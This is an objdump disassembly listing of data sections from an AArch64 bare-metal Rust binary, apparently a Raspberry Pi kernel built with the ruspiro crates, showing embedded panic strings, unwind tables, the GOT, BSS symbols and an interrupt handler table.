868bc: 5c727473 ldr d19, 16b748 <__heap_start+0xa2748>
868c0: 696c6176 ldpsw x22, x24, [x11, #-160]
868c4: 69746164 ldpsw x4, x24, [x11, #-96]
868c8: 2e736e6f umin v15.4h, v19.4h, v19.4h
868cc: 2e5b7372 .inst 0x2e5b7372 ; undefined
868d0: 625d2e2e .inst 0x625d2e2e ; undefined
868d4: 20657479 .inst 0x20657479 ; undefined
868d8: 65646e69 fnmls z9.h, p3/m, z19.h, z4.h
868dc: 69202078 stgp x24, x8, [x3, #-1024]
868e0: 756f2073 .inst 0x756f2073 ; undefined
868e4: 666f2074 .inst 0x666f2074 ; undefined
868e8: 756f6220 .inst 0x756f6220 ; undefined
868ec: 2073646e .inst 0x2073646e ; undefined
868f0: 6020666f .inst 0x6020666f ; undefined
868f4: 67656260 .inst 0x67656260 ; undefined
868f8: 3c206e69 .inst 0x3c206e69 ; undefined
868fc: 6e65203d usubl2 v29.4s, v1.8h, v5.8h
86900: 20282064 .inst 0x20282064 ; undefined
86904: 52203d3c eor w28, w9, #0xffff
86908: 20646165 .inst 0x20646165 ; undefined
8690c: 6e207369 uabdl2 v9.8h, v27.16b, v0.16b
86910: 6120746f .inst 0x6120746f ; undefined
86914: 61686320 .inst 0x61686320 ; undefined
86918: 6f622072 umlal2 v18.4s, v3.8h, v2.h[2]
8691c: 61646e75 .inst 0x61646e75 ; undefined
86920: 203b7972 .inst 0x203b7972 ; undefined
86924: 69207469 stgp x9, x29, [x3, #-1024]
86928: 6e692073 usubl2 v19.4s, v3.8h, v9.8h
8692c: 65646973 fnmls z19.h, p2/m, z11.h, z4.h
86930: 6f202920 .inst 0x6f202920 ; undefined
86934: 00602066 .inst 0x00602066 ; undefined
0000000000086938 <anon.a7c90de7e5cc6c178c09142d4ee6f15c.8.llvm.14833330310357332318>:
86938: 65646e69 fnmls z9.h, p3/m, z19.h, z4.h
8693c: 756f2078 .inst 0x756f2078 ; undefined
86940: 666f2074 .inst 0x666f2074 ; undefined
86944: 756f6220 .inst 0x756f6220 ; undefined
86948: 3a73646e .inst 0x3a73646e ; undefined
8694c: 65687420 fnmls z0.h, p5/m, z1.h, z8.h
86950: 6e656c20 umin v0.8h, v1.8h, v5.8h
86954: 20736920 .inst 0x20736920 ; undefined
86958: 74756220 .inst 0x74756220 ; undefined
8695c: 65687420 fnmls z0.h, p5/m, z1.h, z8.h
86960: 646e6920 .inst 0x646e6920 ; undefined
86964: 69207865 stgp x5, x30, [x3, #-1024]
86968: 00002073 .inst 0x00002073 ; undefined
8696c: 00000000 .inst 0x00000000 ; undefined
86970: 70737572 adr x18, 16d81f <__heap_start+0xa481f>
86974: 5f6f7269 sqdmlsl s9, h19, v15.h[2]
86978: 746f6f62 .inst 0x746f6f62 ; undefined
8697c: 61703a3a .inst 0x61703a3a ; undefined
86980: 4363696e .inst 0x4363696e ; undefined
86984: 73555c3a .inst 0x73555c3a ; undefined
86988: 5c737265 ldr d5, 16d7d4 <__heap_start+0xa47d4>
8698c: 77707370 .inst 0x77707370 ; undefined
86990: 632e5c69 .inst 0x632e5c69 ; undefined
86994: 6f677261 fcmla v1.8h, v19.8h, v7.h[1], #270
86998: 6765725c .inst 0x6765725c ; undefined
8699c: 72747369 .inst 0x72747369 ; undefined
869a0: 72735c79 .inst 0x72735c79 ; undefined
869a4: 69675c63 ldpsw x3, x23, [x3, #-200]
869a8: 62756874 .inst 0x62756874 ; undefined
869ac: 6d6f632e ldp d14, d24, [x25, #-272]
869b0: 6365312d .inst 0x6365312d ; undefined
869b4: 39323663 strb w3, [x19, #3213]
869b8: 39626439 ldrb w25, [x1, #2201]
869bc: 32386365 orr w5, w27, #0xffffff01
869c0: 75725c33 .inst 0x75725c33 ; undefined
869c4: 72697073 .inst 0x72697073 ; undefined
869c8: 6f622d6f .inst 0x6f622d6f ; undefined
869cc: 302d746f adr x15, e1859 <__heap_start+0x18859>
869d0: 332e352e .inst 0x332e352e ; undefined
869d4: 6372735c .inst 0x6372735c ; undefined
869d8: 6e61705c uabdl2 v28.4s, v2.8h, v1.8h
869dc: 722e6369 ands w9, w27, #0xfffc07ff
869e0: 4e415073 .inst 0x4e415073 ; undefined
869e4: 61204349 .inst 0x61204349 ; undefined
869e8: 202c2074 .inst 0x202c2074 ; undefined
869ec: 0000003a .inst 0x0000003a ; undefined
869f0: 0808006b stxrb w8, w11, [x3]
869f4: 0808081c stxrb w8, w28, [x0]
869f8: 08080808 stxrb w8, w8, [x0]
869fc: 08080808 stxrb w8, w8, [x0]
86a00: 08080808 stxrb w8, w8, [x0]
86a04: 08080808 stxrb w8, w8, [x0]
86a08: 00360508 .inst 0x00360508 ; NYI
86a0c: 00230e02 .inst 0x00230e02 ; NYI
86a10: 1a041509 .inst 0x1a041509 ; undefined
86a14: 0808005e stxrb w8, w30, [x2]
86a18: 0808081a stxrb w8, w26, [x0]
86a1c: 08080808 stxrb w8, w8, [x0]
86a20: 08080808 stxrb w8, w8, [x0]
86a24: 08080808 stxrb w8, w8, [x0]
86a28: 08080808 stxrb w8, w8, [x0]
86a2c: 08080808 stxrb w8, w8, [x0]
86a30: 35050808 cbnz w8, 90b30 <__stack_end__+0x84f0>
86a34: 220e0200 .inst 0x220e0200 ; undefined
86a38: 140f0400 b 447a38 <__heap_start+0x37ea38>
86a3c: 5c3a4319 ldr d25, fb29c <__heap_start+0x3229c>
86a40: 72657355 .inst 0x72657355 ; undefined
86a44: 73705c73 .inst 0x73705c73 ; undefined
86a48: 5c697770 ldr d16, 159934 <__heap_start+0x90934>
86a4c: 7375722e .inst 0x7375722e ; undefined
86a50: 5c707574 ldr d20, 1678fc <__heap_start+0x9e8fc>
86a54: 6c6f6f74 ldnp d20, d27, [x27, #-272]
86a58: 69616863 ldpsw x3, x26, [x3, #-248]
86a5c: 6e5c736e .inst 0x6e5c736e ; undefined
86a60: 74686769 .inst 0x74686769 ; undefined
86a64: 782d796c strh w12, [x11, x13, lsl #1]
86a68: 365f3638 tbz w24, #11, 8512c <__exception_handler_default+0x12c>
86a6c: 63702d34 .inst 0x63702d34 ; undefined
86a70: 6e69772d uabd v13.8h, v25.8h, v9.8h
86a74: 73776f64 .inst 0x73776f64 ; undefined
86a78: 76736d2d .inst 0x76736d2d ; undefined
86a7c: 696c5c63 ldpsw x3, x23, [x3, #-160]
86a80: 75725c62 .inst 0x75725c62 ; undefined
86a84: 696c7473 ldpsw x19, x29, [x3, #-160]
86a88: 72735c62 .inst 0x72735c62 ; undefined
86a8c: 75725c63 .inst 0x75725c63 ; undefined
86a90: 6c5c7473 ldnp d19, d29, [x3, #448]
86a94: 61726269 .inst 0x61726269 ; undefined
86a98: 635c7972 .inst 0x635c7972 ; undefined
86a9c: 5c65726f ldr d15, 1518e8 <__heap_start+0x888e8>
86aa0: 5c637273 ldr d19, 14d8ec <__heap_start+0x848ec>
86aa4: 5c746d66 ldr d6, 16f850 <__heap_start+0xa6850>
86aa8: 2e646f6d umin v13.4h, v27.4h, v4.4h
86aac: 00007372 .inst 0x00007372 ; undefined
86ab0: 04040404 .inst 0x04040404 ; undefined
86ab4: 04040404 .inst 0x04040404 ; undefined
86ab8: 04040404 .inst 0x04040404 ; undefined
86abc: 00001904 .inst 0x00001904 ; undefined
86ac0: 71717100 subs w0, w8, #0xc5c, lsl #12
86ac4: 71717171 subs w17, w11, #0xc5c, lsl #12
86ac8: 71717171 subs w17, w11, #0xc5c, lsl #12
86acc: 71717171 subs w17, w11, #0xc5c, lsl #12
86ad0: 23071c71 .inst 0x23071c71 ; undefined
86ad4: 310e2a71 adds w17, w19, #0x38a
86ad8: 71717171 subs w17, w11, #0xc5c, lsl #12
86adc: 71717171 subs w17, w11, #0xc5c, lsl #12
86ae0: 71711571 subs w17, w11, #0xc45, lsl #12
86ae4: 00003f38 .inst 0x00003f38 ; undefined
86ae8: 61686e75 .inst 0x61686e75 ; undefined
86aec: 656c646e fnmls z14.h, p1/m, z3.h, z12.h
86af0: 78652064 ldeorlh w5, w4, [x3]
86af4: 69747065 ldpsw x5, x28, [x3, #-96]
86af8: 75726e6f .inst 0x75726e6f ; undefined
86afc: 72697073 .inst 0x72697073 ; undefined
86b00: 6f625f6f .inst 0x6f625f6f ; undefined
86b04: 3a3a746f .inst 0x3a3a746f ; undefined
86b08: 65637865 fnmls z5.h, p6/m, z3.h, z3.h
86b0c: 6f697470 uqshl v16.2d, v3.2d, #41
86b10: 5c3a436e ldr d14, fb37c <__heap_start+0x3237c>
86b14: 72657355 .inst 0x72657355 ; undefined
86b18: 73705c73 .inst 0x73705c73 ; undefined
86b1c: 5c697770 ldr d16, 159a08 <__heap_start+0x90a08>
86b20: 7261632e .inst 0x7261632e ; undefined
86b24: 725c6f67 .inst 0x725c6f67 ; undefined
86b28: 73696765 .inst 0x73696765 ; undefined
86b2c: 5c797274 ldr d20, 179978 <__heap_start+0xb0978>
86b30: 5c637273 ldr d19, 14d97c <__heap_start+0x8497c>
86b34: 68746967 .inst 0x68746967 ; undefined
86b38: 632e6275 .inst 0x632e6275 ; undefined
86b3c: 312d6d6f adds w15, w11, #0xb5b
86b40: 36636365 tbz w5, #12, 8d7ac <__stack_end__+0x516c>
86b44: 64393932 .inst 0x64393932 ; undefined
86b48: 63653962 .inst 0x63653962 ; undefined
86b4c: 5c333238 ldr d24, ed190 <__heap_start+0x24190>
86b50: 70737572 adr x18, 16d9ff <__heap_start+0xa49ff>
86b54: 2d6f7269 ldp s9, s28, [x19, #-136]
86b58: 746f6f62 .inst 0x746f6f62 ; undefined
86b5c: 352e302d cbnz w13, e3160 <__heap_start+0x1a160>
86b60: 735c332e .inst 0x735c332e ; undefined
86b64: 655c6372 fcmne p2.h, p0/z, z27.h, z28.h
86b68: 70656378 adr x24, 1517d7 <__heap_start+0x887d7>
86b6c: 6e6f6974 .inst 0x6e6f6974 ; undefined
86b70: 4573722e subhnb z14.b, z17.h, z19.h
86b74: 74706578 .inst 0x74706578 ; undefined
86b78: 206e6f69 .inst 0x206e6f69 ; undefined
86b7c: 6370202d .inst 0x6370202d ; undefined
86b80: 0000203a .inst 0x0000203a ; undefined
...
86b90: 00000002 .inst 0x00000002 ; undefined
...
86ba0: 00000002 .inst 0x00000002 ; undefined
...
86bb0: 00000020 .inst 0x00000020 ; undefined
86bb4: 00000004 .inst 0x00000004 ; undefined
86bb8: 00000003 .inst 0x00000003 ; undefined
86bbc: 00000000 .inst 0x00000000 ; undefined
86bc0: 00000001 .inst 0x00000001 ; undefined
86bc4: 00000000 .inst 0x00000000 ; undefined
86bc8: 00000002 .inst 0x00000002 ; undefined
...
86bd8: 00000002 .inst 0x00000002 ; undefined
...
86be8: 00000020 .inst 0x00000020 ; undefined
86bec: 00000004 .inst 0x00000004 ; undefined
86bf0: 00000003 .inst 0x00000003 ; undefined
86bf4: 00000000 .inst 0x00000000 ; undefined
86bf8: 00000002 .inst 0x00000002 ; undefined
86bfc: 00000000 .inst 0x00000000 ; undefined
86c00: 00000002 .inst 0x00000002 ; undefined
...
86c10: 00000002 .inst 0x00000002 ; undefined
...
86c20: 00000020 .inst 0x00000020 ; undefined
86c24: 00000004 .inst 0x00000004 ; undefined
86c28: 00000003 .inst 0x00000003 ; undefined
...
86c38: 00000002 .inst 0x00000002 ; undefined
...
86c48: 00000002 .inst 0x00000002 ; undefined
...
86c58: 00000020 .inst 0x00000020 ; undefined
86c5c: 00000004 .inst 0x00000004 ; undefined
86c60: 00000003 .inst 0x00000003 ; undefined
86c64: 00000000 .inst 0x00000000 ; undefined
86c68: 61686e75 .inst 0x61686e75 ; undefined
86c6c: 656c646e fnmls z14.h, p1/m, z3.h, z12.h
86c70: 79732064 ldrh w4, [x3, #6544]
86c74: 6520636e .inst 0x6520636e ; undefined
86c78: 70656378 adr x24, 1518e7 <__heap_start+0x888e7>
86c7c: 6e6f6974 .inst 0x6e6f6974 ; undefined
86c80: 204b5242 .inst 0x204b5242 ; undefined
86c84: 74736e69 .inst 0x74736e69 ; undefined
86c88: 74637572 .inst 0x74637572 ; undefined
86c8c: 446e6f69 .inst 0x446e6f69 ; undefined
86c90: 20617461 .inst 0x20617461 ; undefined
86c94: 726f6241 .inst 0x726f6241 ; undefined
86c98: 78452074 ldurh w20, [x3, #82]
86c9c: 69747065 ldpsw x5, x28, [x3, #-96]
86ca0: 2d206e6f stp s15, s27, [x19, #-256]
86ca4: 63614320 .inst 0x63614320 ; undefined
86ca8: 4d206568 .inst 0x4d206568 ; undefined
86cac: 746e6961 .inst 0x746e6961 ; undefined
86cb0: 6e616e65 umin v5.8h, v19.8h, v1.8h
86cb4: 72576563 .inst 0x72576563 ; undefined
86cb8: 54657469 b.ls 151b44 <__heap_start+0x88b44> // b.plast
86cbc: 736e6172 .inst 0x736e6172 ; undefined
86cc0: 6974616c ldpsw x12, x24, [x11, #-96]
86cc4: 4c206e6f .inst 0x4c206e6f ; undefined
86cc8: 6c657665 ldnp d5, d29, [x19, #-432]
86ccc: 72543020 .inst 0x72543020 ; undefined
86cd0: 6c736e61 ldnp d1, d27, [x19, #-208]
86cd4: 6f697461 uqshl v1.2d, v3.2d, #41
86cd8: 654c206e .inst 0x654c206e ; undefined
86cdc: 206c6576 .inst 0x206c6576 ; undefined
86ce0: 61725431 .inst 0x61725431 ; undefined
86ce4: 616c736e .inst 0x616c736e ; undefined
86ce8: 6e6f6974 .inst 0x6e6f6974 ; undefined
86cec: 76654c20 .inst 0x76654c20 ; undefined
86cf0: 32206c65 orr w5, w3, #0xfffffff
86cf4: 6e617254 uabdl2 v20.4s, v18.8h, v1.8h
86cf8: 74616c73 .inst 0x74616c73 ; undefined
86cfc: 206e6f69 .inst 0x206e6f69 ; undefined
86d00: 6576654c fnmls z12.h, p1/m, z10.h, z22.h
86d04: 4133206c .inst 0x4133206c ; undefined
86d08: 6e67696c .inst 0x6e67696c ; undefined
86d0c: 746e656d .inst 0x746e656d ; undefined
86d10: 75614620 .inst 0x75614620 ; undefined
86d14: 2d20746c stp s12, s29, [x3, #-256]
86d18: 52414620 .inst 0x52414620 ; undefined
86d1c: 202d2020 .inst 0x202d2020 ; undefined
86d20: 20524c45 .inst 0x20524c45 ; undefined
...
86d30: 00000002 .inst 0x00000002 ; undefined
...
86d40: 00000002 .inst 0x00000002 ; undefined
...
86d50: 00000020 .inst 0x00000020 ; undefined
86d54: 00000004 .inst 0x00000004 ; undefined
86d58: 00000003 .inst 0x00000003 ; undefined
86d5c: 00000000 .inst 0x00000000 ; undefined
86d60: 00000001 .inst 0x00000001 ; undefined
86d64: 00000000 .inst 0x00000000 ; undefined
86d68: 00000002 .inst 0x00000002 ; undefined
...
86d78: 00000002 .inst 0x00000002 ; undefined
...
86d88: 00000020 .inst 0x00000020 ; undefined
86d8c: 00000004 .inst 0x00000004 ; undefined
86d90: 00000003 .inst 0x00000003 ; undefined
86d94: 00000000 .inst 0x00000000 ; undefined
86d98: 61746164 .inst 0x61746164 ; undefined
86d9c: 6f626120 umlsl2 v0.4s, v9.8h, v2.h[2]
86da0: 73207472 .inst 0x73207472 ; undefined
86da4: 20656d61 .inst 0x20656d61 ; undefined
86da8: 61644c45 .inst 0x61644c45 ; undefined
86dac: 61206174 .inst 0x61206174 ; undefined
86db0: 74726f62 .inst 0x74726f62 ; undefined
86db4: 776f6c20 .inst 0x776f6c20 ; undefined
86db8: 45207265 .inst 0x45207265 ; undefined
86dbc: 736e694c .inst 0x736e694c ; undefined
86dc0: 63757274 .inst 0x63757274 ; undefined
86dc4: 6e6f6974 .inst 0x6e6f6974 ; undefined
86dc8: 6f626120 umlsl2 v0.4s, v9.8h, v2.h[2]
86dcc: 4d537472 .inst 0x4d537472 ; undefined
86dd0: 6e692043 usubl2 v3.4s, v2.8h, v9.8h
86dd4: 34366120 cbz w0, f39f8 <__heap_start+0x2a9f8>
86dd8: 736e6920 .inst 0x736e6920 ; undefined
86ddc: 63757274 .inst 0x63757274 ; undefined
86de0: 6e6f6974 .inst 0x6e6f6974 ; undefined
86de4: 6c616320 ldnp d0, d24, [x25, #-496]
86de8: 4864656c .inst 0x4864656c ; undefined
86dec: 69204356 stgp x22, x16, [x26, #-1024]
86df0: 3661206e tbz w14, #12, 891fc <__stack_end__+0xbbc>
86df4: 6e692034 usubl2 v20.4s, v1.8h, v9.8h
86df8: 75727473 .inst 0x75727473 ; undefined
86dfc: 6f697463 uqshl v3.2d, v3.2d, #41
86e00: 6163206e .inst 0x6163206e ; undefined
86e04: 64656c6c .inst 0x64656c6c ; undefined
86e08: 20435653 .inst 0x20435653 ; undefined
86e0c: 61206e69 .inst 0x61206e69 ; undefined
86e10: 69203436 stgp x22, x13, [x1, #-1024]
86e14: 7274736e .inst 0x7274736e ; undefined
86e18: 69746375 ldpsw x21, x24, [x27, #-96]
86e1c: 63206e6f .inst 0x63206e6f ; undefined
86e20: 656c6c61 fnmls z1.h, p3/m, z3.h, z12.h
86e24: 434d5364 .inst 0x434d5364 ; undefined
86e28: 206e6920 .inst 0x206e6920 ; undefined
86e2c: 20323361 .inst 0x20323361 ; undefined
86e30: 74736e69 .inst 0x74736e69 ; undefined
86e34: 74637572 .inst 0x74637572 ; undefined
86e38: 206e6f69 .inst 0x206e6f69 ; undefined
86e3c: 6c6c6163 ldnp d3, d24, [x11, #-320]
86e40: 56486465 .inst 0x56486465 ; undefined
86e44: 6e692043 usubl2 v3.4s, v2.8h, v9.8h
86e48: 32336120 orr w0, w9, #0xffffe03f
86e4c: 736e6920 .inst 0x736e6920 ; undefined
86e50: 63757274 .inst 0x63757274 ; undefined
86e54: 6e6f6974 .inst 0x6e6f6974 ; undefined
86e58: 6c616320 ldnp d0, d24, [x25, #-496]
86e5c: 5364656c .inst 0x5364656c ; undefined
86e60: 69204356 stgp x22, x16, [x26, #-1024]
86e64: 3361206e .inst 0x3361206e ; undefined
86e68: 6e692032 usubl2 v18.4s, v1.8h, v9.8h
86e6c: 75727473 .inst 0x75727473 ; undefined
86e70: 6f697463 uqshl v3.2d, v3.2d, #41
86e74: 6163206e .inst 0x6163206e ; undefined
86e78: 64656c6c .inst 0x64656c6c ; undefined
86e7c: 6e6b6e55 umin v21.8h, v18.8h, v11.8h
86e80: 206e776f .inst 0x206e776f ; undefined
86e84: 73616552 .inst 0x73616552 ; undefined
86e88: Address 0x0000000000086e88 is out of bounds.
Disassembly of section .eh_frame_hdr:
0000000000086e8c <.eh_frame_hdr>:
86e8c: 3b031b01 .inst 0x3b031b01 ; undefined
86e90: 00000010 .inst 0x00000010 ; undefined
86e94: 00000001 .inst 0x00000001 ; undefined
86e98: ffff9494 .inst 0xffff9494 ; undefined
86e9c: 0000002c .inst 0x0000002c ; undefined
Disassembly of section .eh_frame:
0000000000086ea0 <.eh_frame>:
86ea0: 00000014 .inst 0x00000014 ; undefined
86ea4: 00000000 .inst 0x00000000 ; undefined
86ea8: 00527a01 .inst 0x00527a01 ; undefined
86eac: 011e7c01 .inst 0x011e7c01 ; undefined
86eb0: 001f0c1b .inst 0x001f0c1b ; undefined
86eb4: 00000000 .inst 0x00000000 ; undefined
86eb8: 00000014 .inst 0x00000014 ; undefined
86ebc: 0000001c .inst 0x0000001c ; undefined
86ec0: ffff9460 .inst 0xffff9460 ; undefined
86ec4: 00000004 .inst 0x00000004 ; undefined
...
Disassembly of section .got:
0000000000086ed8 <.got>:
86ed8: 00081aa0 .inst 0x00081aa0 ; undefined
86edc: 00000000 .inst 0x00000000 ; undefined
86ee0: 00083610 .inst 0x00083610 ; undefined
86ee4: 00000000 .inst 0x00000000 ; undefined
86ee8: 00087058 .inst 0x00087058 ; undefined
86eec: 00000000 .inst 0x00000000 ; undefined
86ef0: 00081930 .inst 0x00081930 ; undefined
86ef4: 00000000 .inst 0x00000000 ; undefined
86ef8: 00080ff0 .inst 0x00080ff0 ; undefined
86efc: 00000000 .inst 0x00000000 ; undefined
86f00: 00080f60 .inst 0x00080f60 ; undefined
86f04: 00000000 .inst 0x00000000 ; undefined
Disassembly of section .bss:
0000000000086f08 <__bss_start__>:
...
0000000000086f38 <_ZN17ruspiro_allocator6memory10HEAP_START17h57ec554f81a23a73E.llvm.11995692481347540951>:
...
0000000000086f40 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951>:
...
0000000000087050 <_ZN3log5STATE17ha9bbf83daa689e63E>:
...
0000000000087058 <_ZN3log20MAX_LOG_LEVEL_FILTER17h7ea526c383d68be3E>:
...
Disassembly of section .data:
0000000000087060 <anon.aa99a32212951cb336354cf2f8afd4c4.1.llvm.16224240196047894230>:
87060: 00085820 .inst 0x00085820 ; undefined
87064: 00000000 .inst 0x00000000 ; undefined
87068: 00000066 .inst 0x00000066 ; undefined
8706c: 00000000 .inst 0x00000000 ; undefined
87070: 0000008d .inst 0x0000008d ; undefined
87074: 0000001c .inst 0x0000001c ; undefined
87078: 00080390 .inst 0x00080390 ; undefined
...
87088: 00000001 .inst 0x00000001 ; undefined
8708c: 00000000 .inst 0x00000000 ; undefined
87090: 00081c10 .inst 0x00081c10 ; undefined
87094: 00000000 .inst 0x00000000 ; undefined
87098: 00080390 .inst 0x00080390 ; undefined
...
870a8: 00000001 .inst 0x00000001 ; undefined
870ac: 00000000 .inst 0x00000000 ; undefined
870b0: 00081c30 .inst 0x00081c30 ; undefined
870b4: 00000000 .inst 0x00000000 ; undefined
870b8: 00085a1d .inst 0x00085a1d ; undefined
870bc: 00000000 .inst 0x00000000 ; undefined
870c0: 00000061 .inst 0x00000061 ; undefined
870c4: 00000000 .inst 0x00000000 ; undefined
870c8: 0000008d .inst 0x0000008d ; undefined
870cc: 00000005 .inst 0x00000005 ; undefined
870d0: 00085a1d .inst 0x00085a1d ; undefined
870d4: 00000000 .inst 0x00000000 ; undefined
870d8: 00000061 .inst 0x00000061 ; undefined
870dc: 00000000 .inst 0x00000000 ; undefined
870e0: 00000096 .inst 0x00000096 ; undefined
870e4: 00000022 .inst 0x00000022 ; undefined
870e8: 00085a1d .inst 0x00085a1d ; undefined
870ec: 00000000 .inst 0x00000000 ; undefined
870f0: 00000061 .inst 0x00000061 ; undefined
870f4: 00000000 .inst 0x00000000 ; undefined
870f8: 000000d8 .inst 0x000000d8 ; undefined
870fc: 00000014 .inst 0x00000014 ; undefined
0000000000087100 <_ZN17ruspiro_interrupt8ISR_LIST17h156e26dbb2609d59E>:
87100: 000808e0 .inst 0x000808e0 ; undefined
...
87118: 000808e0 .inst 0x000808e0 ; undefined
...
87130: 000808e0 .inst 0x000808e0 ; undefined
...
87148: 000808e0 .inst 0x000808e0 ; undefined
...
87160: 000808e0 .inst 0x000808e0 ; undefined
...
87178: 000808e0 .inst 0x000808e0 ; undefined
...
87190: 000808e0 .inst 0x000808e0 ; undefined
...
871a8: 000808e0 .inst 0x000808e0 ; undefined
...
871c0: 000808e0 .inst 0x000808e0 ; undefined
...
871d8: 000808e0 .inst 0x000808e0 ; undefined
...
871f0: 000808e0 .inst 0x000808e0 ; undefined
...
87208: 000808e0 .inst 0x000808e0 ; undefined
...
87220: 000808e0 .inst 0x000808e0 ; undefined
...
87238: 000808e0 .inst 0x000808e0 ; undefined
...
87250: 000808e0 .inst 0x000808e0 ; undefined
...
87268: 000808e0 .inst 0x000808e0 ; undefined
...
87280: 000808e0 .inst 0x000808e0 ; undefined
...
87298: 000808e0 .inst 0x000808e0 ; undefined
...
872b0: 000808e0 .inst 0x000808e0 ; undefined
...
872c8: 000808e0 .inst 0x000808e0 ; undefined
...
872e0: 000808e0 .inst 0x000808e0 ; undefined
...
872f8: 000808e0 .inst 0x000808e0 ; undefined
...
87310: 000808e0 .inst 0x000808e0 ; undefined
...
87328: 000808e0 .inst 0x000808e0 ; undefined
...
87340: 000808e0 .inst 0x000808e0 ; undefined
...
87358: 000808e0 .inst 0x000808e0 ; undefined
...
87370: 000808e0 .inst 0x000808e0 ; undefined
...
87388: 000808e0 .inst 0x000808e0 ; undefined
...
873a0: 000808e0 .inst 0x000808e0 ; undefined
...
873b8: 00080a40 .inst 0x00080a40 ; undefined
...
873d0: 000808e0 .inst 0x000808e0 ; undefined
...
873e8: 000808e0 .inst 0x000808e0 ; undefined
...
87400: 000808e0 .inst 0x000808e0 ; undefined
...
87418: 000808e0 .inst 0x000808e0 ; undefined
...
87430: 000808e0 .inst 0x000808e0 ; undefined
...
87448: 000808e0 .inst 0x000808e0 ; undefined
...
87460: 000808e0 .inst 0x000808e0 ; undefined
...
87478: 000808e0 .inst 0x000808e0 ; undefined
...
87490: 000808e0 .inst 0x000808e0 ; undefined
...
874a8: 000808e0 .inst 0x000808e0 ; undefined
...
874c0: 000808e0 .inst 0x000808e0 ; undefined
...
874d8: 000808e0 .inst 0x000808e0 ; undefined
...
874f0: 000808e0 .inst 0x000808e0 ; undefined
...
87508: 000808e0 .inst 0x000808e0 ; undefined
...
87520: 000808e0 .inst 0x000808e0 ; undefined
...
87538: 000808e0 .inst 0x000808e0 ; undefined
...
87550: 000808e0 .inst 0x000808e0 ; undefined
...
87568: 000808e0 .inst 0x000808e0 ; undefined
...
87580: 000808e0 .inst 0x000808e0 ; undefined
...
87598: 000808e0 .inst 0x000808e0 ; undefined
...
875b0: 000808e0 .inst 0x000808e0 ; undefined
...
875c8: 000808e0 .inst 0x000808e0 ; undefined
...
875e0: 000808e0 .inst 0x000808e0 ; undefined
...
875f8: 000808e0 .inst 0x000808e0 ; undefined
...
87610: 000808e0 .inst 0x000808e0 ; undefined
...
87628: 000808e0 .inst 0x000808e0 ; undefined
...
87640: 000808e0 .inst 0x000808e0 ; undefined
...
87658: 000808e0 .inst 0x000808e0 ; undefined
...
87670: 000808e0 .inst 0x000808e0 ; undefined
...
87688: 000808e0 .inst 0x000808e0 ; undefined
...
876a0: 000808e0 .inst 0x000808e0 ; undefined
...
876b8: 000808e0 .inst 0x000808e0 ; undefined
...
876d0: 000808e0 .inst 0x000808e0 ; undefined
...
876e8: 000808e0 .inst 0x000808e0 ; undefined
...
87700: 000802d0 .inst 0x000802d0 ; undefined
...
87718: 000808e0 .inst 0x000808e0 ; undefined
...
87730: 000808e0 .inst 0x000808e0 ; undefined
...
87748: 000808e0 .inst 0x000808e0 ; undefined
...
87760: 000808e0 .inst 0x000808e0 ; undefined
...
87778: 000808e0 .inst 0x000808e0 ; undefined
...
87790: 000808e0 .inst 0x000808e0 ; undefined
...
877a8: 000808e0 .inst 0x000808e0 ; undefined
...
877c0: 000808e0 .inst 0x000808e0 ; undefined
...
877d8: 000808e0 .inst 0x000808e0 ; undefined
...
877f0: 000808e0 .inst 0x000808e0 ; undefined
...
87808: 000808e0 .inst 0x000808e0 ; undefined
...
87820: 000808e0 .inst 0x000808e0 ; undefined
...
87838: 000808e0 .inst 0x000808e0 ; undefined
...
87850: 000808e0 .inst 0x000808e0 ; undefined
...
87868: 000808e0 .inst 0x000808e0 ; undefined
...
87880: 000808e0 .inst 0x000808e0 ; undefined
...
87898: 000808e0 .inst 0x000808e0 ; undefined
...
878b0: 000808e0 .inst 0x000808e0 ; undefined
...
878c8: 000808e0 .inst 0x000808e0 ; undefined
...
878e0: 000808e0 .inst 0x000808e0 ; undefined
...
878f8: 000808e0 .inst 0x000808e0 ; undefined
...
87910: 000808e0 .inst 0x000808e0 ; undefined
...
87928: 000808e0 .inst 0x000808e0 ; undefined
...
87940: 000808e0 .inst 0x000808e0 ; undefined
...
87958: 000808e0 .inst 0x000808e0 ; undefined
...
87970: 000808e0 .inst 0x000808e0 ; undefined
...
87988: 000808e0 .inst 0x000808e0 ; undefined
...
879a0: 000808e0 .inst 0x000808e0 ; undefined
...
879b8: 000808e0 .inst 0x000808e0 ; undefined
...
879d0: 000808e0 .inst 0x000808e0 ; undefined
...
879e8: 000808e0 .inst 0x000808e0 ; undefined
...
87a00: 000808e0 .inst 0x000808e0 ; undefined
...
87a18: 000808e0 .inst 0x000808e0 ; undefined
...
87a30: 000808e0 .inst 0x000808e0 ; undefined
...
87a48: 000808e0 .inst 0x000808e0 ; undefined
...
87a60: 000808e0 .inst 0x000808e0 ; undefined
...
87a78: 000808e0 .inst 0x000808e0 ; undefined
...
87a90: 000808e0 .inst 0x000808e0 ; undefined
...
87aa8: 000808e0 .inst 0x000808e0 ; undefined
...
87ac0: 000808e0 .inst 0x000808e0 ; undefined
...
87ad8: 000808e0 .inst 0x000808e0 ; undefined
...
87af0: 000808e0 .inst 0x000808e0 ; undefined
...
87b08: 000808e0 .inst 0x000808e0 ; undefined
...
87b20: 000808e0 .inst 0x000808e0 ; undefined
...
87b38: 000808e0 .inst 0x000808e0 ; undefined
...
87b50: 000808e0 .inst 0x000808e0 ; undefined
...
87b68: 000808e0 .inst 0x000808e0 ; undefined
...
87b80: 000808e0 .inst 0x000808e0 ; undefined
...
87b98: 000808e0 .inst 0x000808e0 ; undefined
...
87bb0: 000808e0 .inst 0x000808e0 ; undefined
...
87bc8: 000808e0 .inst 0x000808e0 ; undefined
...
87be0: 000808e0 .inst 0x000808e0 ; undefined
...
87bf8: 000808e0 .inst 0x000808e0 ; undefined
...
87c10: 000808e0 .inst 0x000808e0 ; undefined
...
87c28: 000808e0 .inst 0x000808e0 ; undefined
...
87c40: 000808e0 .inst 0x000808e0 ; undefined
...
87c58: 000808e0 .inst 0x000808e0 ; undefined
...
87c70: 000808e0 .inst 0x000808e0 ; undefined
...
87c88: 000808e0 .inst 0x000808e0 ; undefined
...
87ca0: 000808e0 .inst 0x000808e0 ; undefined
...
87cb8: 000808e0 .inst 0x000808e0 ; undefined
...
87cd0: 000808e0 .inst 0x000808e0 ; undefined
...
87ce8: 000808e0 .inst 0x000808e0 ; undefined
...
87d00: 00080a30 .inst 0x00080a30 ; undefined
...
87d10: 00000001 .inst 0x00000001 ; undefined
